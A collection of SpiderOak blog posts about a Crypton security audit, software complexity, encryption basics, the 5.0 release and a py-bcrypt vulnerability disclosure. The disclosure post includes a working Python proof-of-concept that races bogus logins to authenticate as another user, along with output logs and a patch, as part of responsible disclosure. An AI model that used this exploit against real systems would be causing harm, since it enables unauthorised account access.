Conversations about life & privacy in the digital age

Responsibly Bringing a new Cryptography Product to Market

Post Snowden, technologists have rushed a variety of “liberation tech” projects to market, making boastful claims about their cryptographic capabilities to ensure the privacy of their customers. These goals are noble but the results have sometimes been embarrassing.

We’re building a new crypto product ourselves: a high-level secure-by-default framework developers can use to build end-to-end cryptographic applications without writing crypto.

Here’s what we required:

  1. To be independently verifiable it must be open source
  2. Have a spec
  3. Have a threat model
  4. Have clear, well documented code
  5. Be audited by security professionals with a crypto background

In this post I’ll share how we’re going about #5. We’re committed to development in the open, including security review.

The first audit we could schedule was with 3 researchers from the Least Authority team. Among other reasons we chose them because they have deep experience building verifiable storage systems. For anyone in that market, Tahoe-LAFS is a must read.

Auditing is both expensive and hard to schedule, with leading organizations booked months in advance.  The best teams are not limited by their ability to sell their services but rather by their ability to hire and fulfill that work. Consequently there’s very little downward pressure on their rates.

To get the most from a security audit, it’s best to go in with the cleanest code possible. It’s like brushing your teeth before you visit the dentist. It’s impolite and ineffective to ask someone to puzzle over the subtleties of code you haven’t clarified [1].

We focused this first audit narrowly on a bare bones single-user (no collaboration or multi-user sharing) demo application built with the Crypton framework. Our goal was good coverage of the framework’s core fundamentals: account creation, authentication, and single-user data storage.

Unfortunately, at the time we could schedule the audit to begin, there were three issues that the Crypton team knew about but hadn’t a chance to fix or even document. The auditors independently discovered two of those three issues with a lead to the third issue (less severe) tagged [UNRESOLVED] in their report. Additionally they found three other serious issues unknown to the team. Overall, some of the best money we’ve ever spent!

Since the purpose of this post is to give clear expectations, I think it’s important to share real numbers and cleared this with Least Authority.

Zooko explained, “We gave SpiderOak a small discount on our normal price, and moreover we pushed back our other projects in order to get the work done for you first. We did these two things because we wanted to form a relationship with SpiderOak since you provide end-to-end-encrypted storage, and we wanted to support Crypton because it is end-to-end-encrypted and is fully Free and Open-Source Software.”

Our bill was $30,000, or about $5k/researcher per week.

We have a second audit with the nice folks at Leviathan Security, covering the multi-user features of Crypton, and we’ll share that report when it’s complete. In the meantime, here’s the report (rst, pdf) from the first audit by Least Authority.

Here are some of the resulting GitHub issues and pull requests to
resolve the findings. Issue B, C, D, and E.

The resolution for Issue A involves a switch to SRP based authentication. This was part of the longer term roadmap as it provides several additional benefits, but proved to be a nontrivial undertaking and that effort is still ongoing. Some attention is given to this implementation in the next audit by Leviathan Security.

Update: Zooko at Least Authority just published an article discussing their motivation for accepting the project.

Update 2: The originally published version of this post erroneously linked to a non-final draft of the report from Least Authority. That link is corrected; and the final audit report should say “Version 1, 2013-12-20″ at the top.

NOTES:


[1] Zooko shared a story about an experiment that was conducted by Ping Yee in 2007. The results of the experiment illustrate auditing challenges.

In short several very skilled security auditors examined a small Python program — about 100 lines of code — into which three bugs had been inserted by the authors. There was an “easy,” “medium,” and “hard” backdoor. There were three or four teams of auditors.

1. One auditor found the “easy” and the “medium” ones in about 70 minutes, and then spent the rest of the day failing to find any other bugs.

2. One team of two auditors found the “easy” bug in about five hours, and spent the rest of the day failing to find any other bugs.

3. One auditor found the “easy” bug in about four hours, and then stopped.

4. One auditor either found no bugs or else was on a team with the third auditor — the report is unclear.

See Chapter 7 of Yee’s report for these details.

I should emphasize that that I personally consider these people to be extremely skilled. One possible conclusion that could be drawn from this experience is that a skilled backdoor-writer can defeat skilled auditors. This hypothesis holds that only accidental bugs can be reliably detected by auditors, not deliberately hidden bugs.

Anyway, as far as I understand the bugs you folks left in were accidental bugs that you then deliberately didn’t-fix, rather than bugs that you intentionally made hard-to-spot.

Analyzing the Anatomy of a Software Bug

This week, the blog post Anatomy of a Software Bug is being discussed among the developers at SpiderOak.

The post depicts the situation that any programmer finds themselves in if they have ever worked on a large system that has been in existence for an appreciable amount of time. The details of the bugs change, but the general idea that it is difficult to predict how a change will ripple through a complex program/system stays the same.

The problem they ran into at Microsoft is inevitable given the attitude they appear to have about complexity. After identifying that their particular problem stemmed from the overall complexity of the software, the author goes on to say:

Now, there’s a philosophical issue about the desirability of increasingly complex software, but I’m not going to discuss it here. For all practical purposes, I don’t think there’s much benefit to getting into a discussion about it. It may be an interesting question on some level, but it’s one we’ll never fully resolve. And I’m just not all that interested in getting bogged down in an endless debate without the possibility of resolution. 

Reading the above lines makes me believe that the author can’t be bothered with thinking about the harmful effects of software complexity. He seems to be perfectly happy with what I consider to be an unacceptable situation, and he is perfectly happy with contributing additional complexity.

Now, I don’t know the author and I may be totally misconstruing his attitude on software complexity. However, at best, I believe the author thinks that software complexity is merely an academic question that is better relegated to discussions involving the number of angels that can dance on the head of a pin. The fact that he does not even want to address this topic, much less be guided by the principle of reducing complexity, tells me that he is doomed to live in a world of incomprehensible software that is forever doing the wrong thing.

When I write software, I am guided by principles that I have discovered over the years. One of them is:

Complex software only works by accident.

When the complexity of a system exceeds the ability of a single person, or at most two or three people working closely together to understand, then it becomes impossible to have it work by design. It only works (if it works at all) by accident.

This doesn’t mean that a single person has to have every line of code memorized. It means that the software is organized and decomposed into meaningful pieces that have known interactions. It means that when something surprising happens, the knowledgable developer can make accurate predictions about what code caused it to happen. It means that you have a fighting chance of having the software do something useful and that the “something useful” is what you wanted the software to do in the first place.

If you don’t take the time and effort to simplify your code, then you are not serious about creating a long-running system that can be maintained. Except for very trivial programs, the first thing you write is not going to be good. Quite often, in software, you don’t know how to solve a problem until after you have done it once. In my experience, this first pass at a solution is what goes into production even though everybody involved in writing it knows that it is only barely adequate for the job. If the company is not serious about having a maintainable product or service, then they don’t allow the programmers to take the knowledge they acquired and improve the system by reorganizing and simplifying the code.

I hope I don’t come off as criticizing the effort and ingenuity that it took to fix this particular bug. I think these kinds of stories should be told and the people involved should be proud of being able to find and fix these kinds of bugs. My criticism is directed at how they got into this predicament in the first place. Software always gets into the condition it is in for various reasons, and we can choose to think about those reasons or ignore them. The author, in my opinion, is ignoring the primary reason for the bug.

When I was learning to fly, there was a saying at the airport where I was taking my training:

The superior pilot uses his superior judgment to stay out of situations where he needs to use his superior skill.

I believe this applies to any field that requires skill and judgement, such as software development. If you didn’t create such complex systems, you wouldn’t need to be so brilliant to find and fix the bugs. Then you can use your brilliant mind to come up with better and more elegant solutions. I will admit to writing exceedingly complex code early in my career. But after having to maintain it for several years, I learned my lesson.

When I first came to SpiderOak, I was very happy to discover that the 4th version of the software for the data clusters was being worked on. I was also glad to see that some of the original developers were still around and applying all their hard won knowledge to improving the software. This tells me that SpiderOak is serious about having a long-running maintainable system. Is it perfect? Is it bug free? No. Is it a viable system that can be counted on to do its job? Yes, most of the time. Remember that there are still a few bugs that we haven’t fixed yet.

The quality of a software system is, in part, determined by the attitudes of the people involved in creating it. In particular, their attitude toward intentionally reducing complexity or allowing it to accrete is crucial to creating functional and maintainable software systems. The attitude at Microsoft, and I think this has been true since 1977 when I first got fed up with using their buggy software, is that they don’t care about the detrimental effects of software complexity. The attitude at SpiderOak is that they do care, and it is not just lip-service like you get at many companies. SpiderOak has put their money where their mouth is, and to me, this makes all the difference.

Pushing on the Open-Source Crypton Effort

After 5 years working on Firefox at Mozilla, last week I began a new adventure at SpiderOak. And whereas I will be working on a wide range of projects, my main focus will be directing the Crypton, open-source project.

Earlier this year I read about Crypton, SpiderOak’s open-source web framework that makes scalable, privacy-centered web applications much easier to produce. As a founder and sometime-editor of the W3C’s Web Cryptography Working Group, I knew there would eventually emerge a ”jQuery for web crypto.” Crypton seemed to be that and then some - a complete solution, including the server and storage mechanism. I was hooked. I have been tinkering in this space for a few years, producing a couple Firefox extensions including DOMCrypt and Nulltxt. These extensions model what I thought made sense for crypto APIs hanging off of each web page, as well as web applications to go along with these APIs. I implemented window.crypto.getRandomValues in Firefox and worked on the team that maintains and improves Firefox security.

With the idea that the Web Crypto API is now forthcoming and the recent media attention on ever-present Internet surveillance, I want to do something more tangible about it now. SpiderOak has been building privacy-oriented products that uphold its ‘Zero-Knowledge’ concept for almost a decade, which makes this move for me a natural fit. I am excited to play a role in making Crypton the standard for web crypto as well as providing an easy way for developers to easily build meaningful, useful ‘Zero-Knowledge’ applications.

As of September 26, 2013, SpiderOak is hosting a weekly development teleconference to discuss the latest developments, features, milestones, bugs and anything else Crypton users or developers would like to discuss. The details are on our Github wiki.

If you have any questions or ideas about Crypton, feel free to contact me via our many channels of communication or email me directly at ddahl[at]spideroak.com.

Drink Your Ovaltine: Encryption 101

When it comes to cryptography, there are no experts. It is considered to be a constantly evolving field. If you started learning today, it is accepted that you might see something new in the code, or do something better that lifelong cryptographers have missed.

The first thing that comes to mind when I think of encryption, is the scene in A Christmas Story when Ralphie gets a decoder ring and decrypts a disappointing (advertising) message:

But at its basic level, this describes encryption. You probably even had similar games you made up as a kid. In the computer world, this means converting plaintext data (ordinary info) into ciphertext, or unintelligible text.

 


OpenPGP (PGP = Pretty Good Privacy) is thought to be the most widely-used encryption program in the world. But there are two types of encryption methods: symmetric and asymmetric.

1) Symmetric Password-Based Encryption

This is the simplest encryption system. It’s called “symmetric” because the same key is used to encrypt and decrypt the file. If Alice wants to share data privately with Bob, she must first create an encryption key. This can be done by sampling a sufficiently random source, or by deriving it from a password. Alice must securely give this key to Bob. Now Alice can encrypt her data with that key, hand the encrypted data to Bob, and Bob can use the key to decrypt it. This method is useful to encrypt sensitive information for yourself, for family, or for a few trusted friends or coworkers. AES is a popular symmetric cipher.

2) Asymmetric Public/Private Key-Based Encryption:

Asymmetric encryption involves the use of two different keys, one which is private and not shared, and one which is public. The public key encrypts data, and the private key decrypts data. With this scheme, Alice and Bob each have their own private/public key pairs. Alice now uses Bob’s public key to encrypt the data she wants to send to him. Because only Bob has his private key, only he can decrypt the data Alice sends him. Asymmetric encryption takes more computer power than symmetric key encryption, so it is often used to set up secure communications to exchange symmetric keys. RSA is a popular asymmetric cipher.

As for SpiderOak, our old clients used a combination of 2048 bit RSA and 256 bit AES. Now new clients use 3072-bit RSA combined with 256 bit AES to meet industry recommendations. We use this mixture of techniques where each is best suited: asymmetric encryption for communications channel setup and key exchange, and symmetric encryption for internal data structures and improved client performance.

Not only are your files encrypted with SpiderOak, but so are the filenames and paths. Our Engineering Matters page does a good job of explaining in detail how we encrypt your data after the initial scan, and our servers have zero-knowledge of what they are storing. Next week our system administrator will talk about why we went this direction, as well as why encryption doesn’t necessarily mean privacy or safety.

Jon Callas is one of  the world’s most respected and brilliant minds when it comes to software security and privacy. He worked on Apple’s Whole Disk Encryption, PGP Universal Server, co-founded the PGP Corporation, is former CTO of Entrust, and current co-founder and CTO of our friends, Silent Circle (Global Encrypted Communications). As an inventor and cryptographer, his designs of security products have won major innovation awards from The Wall Street Journal and others. If you are interested in learning cryptography, we recommend reading his PDF, An Introduction to Cryptography.

(TeaserOur community gets the opportunity to interview Jon, so we will make a call out for your questions later this week – be thinking of what you’d want to ask him!)

What else would you say about encryption? How did you learn? Why do you think it is important?

Download The Newest Version of SpiderOak

Today we are proud to release our newest version – SpiderOak 5.0.

DOWNLOAD 5.0 – HERE

The most significant addition is SpiderOak Hive – a simple drag and drop folder that allows you to sync files across all your devices. For more information on Hive, feel free to visit https://spideroak.com/hive/.

 

You can read about several other new features, enhancements and bug fixes at SpiderOak Launches 5.0 Beta.

Please reach out with any thoughts or questions. We look forward to continuing development and making SpiderOak the best it can be.

SpiderOak Launches 5.0 Beta

Today we are proud to release the SpiderOak 5.0 Beta. It comes as the result of a lot of hard work and planning and we are excited to get it into the hands of our users. The most significant addition is SpiderOak Hive which makes syncing data between your various devices simple and easy. You can find a detailed list below of what will be included from new features to feature enhancements to bug fixes as well as some FAQs about SpiderOak Hive. Please click here to download the 5.0 Beta. (Click here for the 64-bit Windows build)

NEW FEATURES

  • SpiderOak Hive: We adopted a simple approach to syncing data across all devices by creating the SpiderOak Hive folder. Simply drag and drop files or folders into this folder and they will automatically sync to your other devices.
  • OS Integration for Windows (Mac and Linux soon to follow): Granting right-click access functions via Explorer now allows you to backup, share, and view historical versions.

ENHANCEMENTS

  • ShareRoom Enhancement: Users can now add passwords to their ShareRooms which adds an additional layer of security when sharing important files.
  • Remote Diagnostics: We added a capability for remote diagnostics to help when troubleshooting problems with customer support.  This option is disabled by default. You must explicitly enabled it.  Diagnostic reports consist of metadata such as program and OS version information, file system types, program log files, folder and file names. Reports do not include backup data, passwords, or encryption information.
  • Password Enhancement: As a new user, you must now change your password upon setting up your first device when JavaScript was disabled during signup and a temporary password was automatically generated.
  • ShareRoom Enhancement: We added clarification to the ShareRoom creation wizard

FIXES

  • LAN sync: Fixed a bug with LAN sync, allowing the client to recover from certain error conditions
  • UI / View Tab: Fixed a bug that sometimes caused the UI to erroneously disable the View tab in the client after displaying the “out of space” popup window.
  • AppIndicator framework: Switch system tray icon to use AppIndicator framework on Ubuntu.
  • Backup: Fixed a bug which prevents category size indicator on basic backup tab from updating without restarting the client
  • Downloads: Fixed a bug that prevented downloads from resuming after a network failure.
  • Uninstalling SpiderOak: Fixed a bug on Windows which reports publisher info as ‘unknown’ when uninstalling SpiderOak.
  • Sync: Fixed a bug that sometimes prevented sync from detecting a moved folder properly, instead considering it a deletion
  • Backup: Fixed a bug causing backup to fail under a very rare edge case

QUESTIONS ABOUT HIVE?

Here are five questions and answers we anticipate users having.

1.  What is SpiderOak Hive? How does it work?

SpiderOak Hive creates a simple way to sync data between your various devices. All you have to do is place files and/or folders inside your SpiderOak Hive and the data will automatically appear on any other device running SpiderOak. Easy.

2.  Where do I find the SpiderOak Hive folder?

A shortcut to SpiderOak Hive will appear automatically on your desktop. Depending on the operating system, SpiderOak Hive will also appear in the file system browser as follows: Windows Explorer –> Documents folder;  Mac Finder –> “/Users/<username>/SpiderOak Hive/”; Linux –> Home folder.

3.  Can I still backup my files from their original locations using the SpiderOak application?  Do I have to use SpiderOak Hive?

SpiderOak Hive was designed to run on top of the existing SpiderOak application; as such, you can still select specific files and/or folders for backup using the ‘Backup’ tab inside the application. We view this ability to create a unique and structured backup set as a core function of SpiderOak and have no plans to get rid of this functionality.

4.  How do I get SpiderOak Hive?

Currently – SpiderOak Hive is in Beta and available by clicking on the following link: https://spideroak.com/getbuild?beta=yes. (or 64-bit Windows) As soon as you install the new version, SpiderOak Hive will appear automatically on your desktop.

5.  If I would prefer to use SpiderOak Hive as opposed to selecting data to back up and sync inside the SpiderOak application, how do I make this transition?

This is simple!  All you have to do is drag and drop all the items in your current backup set over to the SpiderOak Hive folder. This action will cause SpiderOak to effectively move this data over to Hive which will take a few moments to process. Upon completion, you will be done and fully ready to use your SpiderOak Hive folder. Please remember that future files must be saved into your SpiderOak Hive folder to ensure they are being backed up and synced.

Update: The beta download links may have delivered a 32-bit build to Windows users with 64-bit computers, rendering the OS Integration feature inoperative. If you have a 64-bit version of Windows, please re-download using the updated links, or by clicking here: 64-bit Windows build. Sorry for the inconvenience!

Latest & Greatest: Calling all Beta Users

Greetings SpiderOak Users!

We have been working diligently on a new SpiderOak 5.0 / SpiderOak Mobile 2.0 release which contains many exciting new features including a central sync folder (think Dropbox but with ‘Zero-Knowledge’ privacy), operating system integration allowing for right-click functionality (initially only on Windows), and several other enhancements to the overall application and experience. A brief overview is as follows…

The SpiderOak Sync Folder

As many of you may have already read in a previous post New Feature: What would you call it?, this ‘sync’ folder makes it easy for users to get up and running with SpiderOak in a few very simple steps. Any folders or files placed in this ‘sync’ folder will automatically get backed up and then synced to any other devices that have the SpiderOak ‘sync’ folder running. To round out the functionality, the data will be easily accessible via our new mobile applications (details below).

Operating System Integration

As part of this release we will also be deploying OS integration granting right-click access to SpiderOak functions via the file browser (Explorer on Windows and Finder on Mac). You will be able to select a folder or file for backup, share a file, or view the historical versions of a file all through the context menu.

Further – you will also notice a SpiderOak icon overlaid on all folders that are included as part of the backup set so you know immediately when a folder is safely and securely in the SpiderOak system. We will be releasing this feature initially only on Windows with Mac and Linux soon to follow.

SpiderOak Mobile 2.0

Another significant advancement is the release of our new mobile applications. We have updated the structure of the app to better take advantage of the future growth in functionality – including immediate access to all data within the SpiderOak Synd folder. This will also make it easier to navigate data across your various computers and devices as well as simply preview and share any file stored within SpiderOak. Along the way we also addressed many other issues and concerns such that the application will function with much greater efficiency and effectiveness. Our plan is to roll out the iOS version first followed closely by Android.

How to get involved?

If you are interested in helping us test these latest features as well as provide important and critical feedback, you may do so by downloading the desktop client via our Forum. Instructions can be found here:click here & log in to the forums. To test our new iOS client, please send an email to: mobile@spideroak.com with your UDID and we’ll get you connected.

Last but not least…

Please note that this is a pre-beta launch. We want to reiterate this as we are still working on addressing some small issues here and there; that said, we are extremely excited to hear your feedback and thoughts on SpiderOak 5.0 / SpiderOak Mobile 2.0 and where we are headed. Thank you in advance for your time, commitment, and continued patronage with SpiderOak.

NEW FEATURE: What would you call it?

Saying this is an exciting time at SpiderOak is an understatement. There are so many wonderful things happening. One of which is a major release, Version 5.0, coming in the next few weeks. This release will include many fixes as well as a couple additional features. Stay tuned for posts about these fixes and features.

As for now, I’ll let you in on one of these new features in exchange for some of your creative juices. Deal?

We are keeping our highly customizable sync features for advanced users, while simultaneously adopting the ‘industry standard’ central sync/backup folder spearheaded by Dropbox. This new folder makes it easier for new users to get started without having to select items to backup or sync. Items placed into this folder will be uploaded to SpiderOak and then pushed out to any other place this folder exists. Additionally, this folder will be available via the newly designed mobile app.

Here’s an example. Upon downloading the new SpiderOak application on your Mac, you will find this new folder in the Finder window under ‘Favorites’. You can then drag and drop documents, pictures or whatever you desire, into that folder. These items will start to upload immediately.

On your Windows machine, you will notice the new folder located in the Documents folder in Explorer, and easy reachable through favorites and a desktop shortcut. When opening up this new folder, you will see all the items you placed into this folder on any of your other devices. As you then place items from your Windows machine into this folder, they will in turn be available in the folder on across your network.

This new functionality will also be available in Linux as well as accessible through our newly redesigned and soon to be released mobile applications.

Now that we’ve let you in on this exciting news, I’m curious to know what you might call such a feature? The SpiderOak Folder? The Oak Chest? Your Super Simple Folder? Here is your chance to try your hand at branding. Share with us your creativity and who knows, you may be responsible for coining the name of this additional feature…

Security Vulnerability in Py-Bcrypt 0.2

This blog post is probably only interesting to programmers. Regular SpiderOak users can safely ignore this article. (It is not related to the SpiderOak backup and sync software.)

There’s a security vulnerability with py-bcrypt.

The vulnerability allows an attacker (“Eve”) to login as any user by making a
login attempt with a bogus password, overlapping in thread execution with the
user’s own login attempt. Typically many such attempts will be needed, but one will
eventually succeed.

This is a synchronization vulnerability with concurrent use of the
encrypted static buffer in bcrypt.c. Only threaded applications should be
vulnerable. It is common to use threads for bcrypt auth since it can cause an
event driven application to block the event loop for an unacceptable time.

I went looking through the py-bcrypt code after noticing suspicious patterns of
auth failures while testing a project using bcrypt.

The vulnerability was added in bcrypt 0.2 which was href="http://www.mindrot.org/projects/py-bcrypt/news/rel02.html">released in
July 2010.

This vulnerability is not present in bcrypt 0.1 because it did not release the
GIL during bcrypt operations.

Prior discovery? Sönke Schau href="https://code.google.com/p/py-bcrypt/issues/detail?id=12">reported a
thread safety bug in this area to the Google Code project back in January 2013.
It seems from the description (i.e. Priority: Medium) that the security
implications were unclear at the time.

Below is a demo exploit, sample output from the demo, a patch to py-bcrypt to mitigate the vulnerability, and output from the demo after patching.

The maintainers published an update within an hour of my initial message (wow!) There’s now a py-bcrypt 0.3 available on Google Code and PyPI.


#!/usr/bin/env python
"""
demo exploit for py-bcrypt 0.2

The demo below includes a server class with one user, alice,
with a bcrypted password.  The server is event driven using
Twisted with bcrypt operations deferred into a thread pool.
Eve tries to login repeatedly with a bogus password while
Alice is also trying to log in.
"""

import time
import random
import sys
import bcrypt
from twisted.internet import reactor, defer
from twisted.python import log
from twisted.internet.threads import deferToThread

# if we instead set this bcrypt work factor to 4 (the minimum) the demo exploit
# succeeds much sooner.  12 is the default.
BCRYPT_LOG_ROUNDS = 12

def salt_and_bcrypt(password):
    "return the salted and bcrypted representation of a password"
    salt = bcrypt.gensalt(BCRYPT_LOG_ROUNDS)
    return bcrypt.hashpw(password, salt)

def check_bcrypt(password, crypted):
    "return boolean, comparing a plain password to a bcrypt stored value"
    check_value = bcrypt.hashpw(password, crypted)
    return check_value == crypted 

def sleep_to_delay_thread(delay):
    "just used to add additional noise into the timing of the thread pool"
    time.sleep(delay)
    return True

class DemoExploitableServer(object):
    """
    Simple server class.  This could be a web server, ftp, RPC, etc.

    The same vulnerability exists if the server is available over a network.
    Here everything happens in one process for brevity.
    """

    users = dict(alice = salt_and_bcrypt("mypassword"))

    def __init__(self, num_busywork_threads):
        self._login_attempt_count = 0
        self.exploited = False
        self.halt = False
        if num_busywork_threads:
            reactor.callLater(0, self._simulate_activity, num_busywork_threads)

    def notify_shutdown(self):
        "notify the server that the event loop is shutting down"
        self.halt = True

    def login(self, username, password):
        """
        make a login attempt to the server.
        Return a Deferred that will be called back with the login result bool
        """

        if self.halt:
            # just ignore forever
            deferred = defer.Deferred()
            return deferred

        self._login_attempt_count += 1

        # show some progress in the log. usually don't get that far.
        if self._login_attempt_count % 1000 == 0:
            log.msg("%d login trials" % ( self._login_attempt_count, ))

        # delayed False on nonexistent user
        if not username in self.users:
            deferred = defer.Deferred()
            reactor.callLater(5, deferred.callback, False)
            return deferred

        return deferToThread(check_bcrypt, password, self.users[username])

    def _simulate_activity(self, amount):
        "start N busy work loops (deferring work to thread pool)"
        for _ in range(amount):
            reactor.callLater(0, self._do_busy_work)

    def _do_busy_work(self):
        "defer a random blocking sleep call to a thread"
        if self.halt:
            return
        delay = 2.0 * random.random()
        deferred = deferToThread(sleep_to_delay_thread, delay)
        deferred.addCallback(self._busy_work_callback)

    def _busy_work_callback(self, _result):
        "repeat the busy work cycle"
        reactor.callLater(0, self._do_busy_work)

class UserBase(object):
    "base for Alice and Eve--users repeatedly trying to login to the server"
    def __init__(self, server):
        self._server = server

    def run(self):
        "start the login trial loop"
        reactor.callLater(0, self.try_login)

    def try_login(self):
        "make a login attempt.  The server will callback with the result"
        deferred = self._server.login(self._username, self._password)
        deferred.addCallback(self._login_callback)
        deferred.addErrback(log.err)

class Alice(UserBase):
    """
    Alice repeatedly tries to login w/ the correct password.
    It's normal that she succeeds, and noteworthy when she fails.
    """
    _username = 'alice'
    _password = 'mypassword'
    def _login_callback(self, result):
        if not result:
            log.msg("alice login failure")
        reactor.callLater(0, self.run)

class Eve(UserBase):
    """
    Eve repeatedly tries to login as Alice w/ a bogus password.
    The exploit is successful when Eve's login is valid.
    """
    _username = 'alice'
    _password = 'WRONG_PASSWORD'
    def _login_callback(self, result):
        if result:
            log.msg("eve login success")
            self._server.exploited = True
            reactor.stop()
        else:
            log.msg("eve login fail")
        reactor.callLater(0, self.run)

def spawn_user(server, user_class):
    """
    create a user instance, and schedule delay calls to the event loop to start the
    instance's login trial loop
    """
    new_user = user_class(server)
    reactor.callLater(0, new_user.run)

def run_exploit_demo():
    """
    setup the demo exploitable server instance and a few user instances trying
    to login.  Manage the event loop startup/shutdown. Report results.

    Return shell exit code: 1 on exploit failure, 0 on success"
    """
    num_alice = 5
    num_eve = 5
    server_busywork_threads = 5

    log.startLogging(sys.stdout)

    server = DemoExploitableServer(server_busywork_threads)

    for _ in range(num_alice):
        spawn_user(server, Alice)

    for _ in range(num_eve):
        spawn_user(server, Eve)

    # timeout after an hour
    def _timeout():
        log.msg("timeout reached")
        reactor.stop()

    reactor.callLater(3600, _timeout)

    reactor.suggestThreadPoolSize(30)

    reactor.addSystemEventTrigger("before", "shutdown", server.notify_shutdown)

    reactor.run()

    # if we get here, Eve has logged in or we have crashed or timed out
    if server.exploited:
        print "EXPLOITED: successful login by Eve as Alice"
        return 0
    else:
        print "NO exploit"
        return 1

if __name__ == '__main__':
    sys.exit(run_exploit_demo())


Here’s sample output, before and after patching.

ubuntu@dev$ /opt/py2.7.vulnerable_bcrypt/bin/python pybcrypt_exploit_poc.py
2013-03-17 18:42:31+0000 [-] Log opened.
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login success
2013-03-17 18:42:33+0000 [-] Main loop terminated.
2013-03-17 18:42:33+0000 [-] EXPLOITED: successful login by Eve as Alice
ubuntu@dev$ /opt/py2.7/bin/python pybcrypt_exploit_poc.py
... [ snip ] ...
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] timeout reached
2013-03-17 19:08:19+0000 [-] Main loop terminated.
2013-03-17 19:08:19+0000 [-] NO exploit

I use C only very occasionally, but in case it’s helpful, here’s my attempt at a resolution patch. (Don’t use this. The patch provided by the maintainers in bcrypt-0.3 looks much more portable!)

diff -r py-bcrypt-0.2/bcrypt/bcrypt.c py-bcrypt-0.2.patched/bcrypt/bcrypt.c
75c75,84
< static char    encrypted[128];
---
> #undef threadlocal
>     #ifdef _ISOC11_SOURCE
>         #define threadlocal _Thread_local
>     #else
>         #define threadlocal __thread
>     #endif
>     /* we would rather blow up at compile time than be without thread safety.
>      * */
>
> static threadlocal char    encrypted[128];

PowerPC Mac Users: ATTENTION!

In the past three months, 0.13% of the SpiderOak clients that have logged in have done so from a PowerPC system. We certainly have every expectation that this percentage will continue its slow decline.

It is rather sad, but unfortunately maintaining SpiderOak’s evolving functionality along with support for the PowerPC version is an increasingly taxing proposition especially given the complete lack of support from Apple.

Given the above, we are officially (albeit sadly) canceling support for the PowerPC with our next release. We do not have plans to completely strip out the specific PowerPC code immediately and we will definitely let you all know when we are making changes that we know explicitly will break PowerPC support.

We do apologize to you 0.13% (you know who you are) and thank you for your understanding. We will be happy to answer any questions or thoughts you may have in the comments.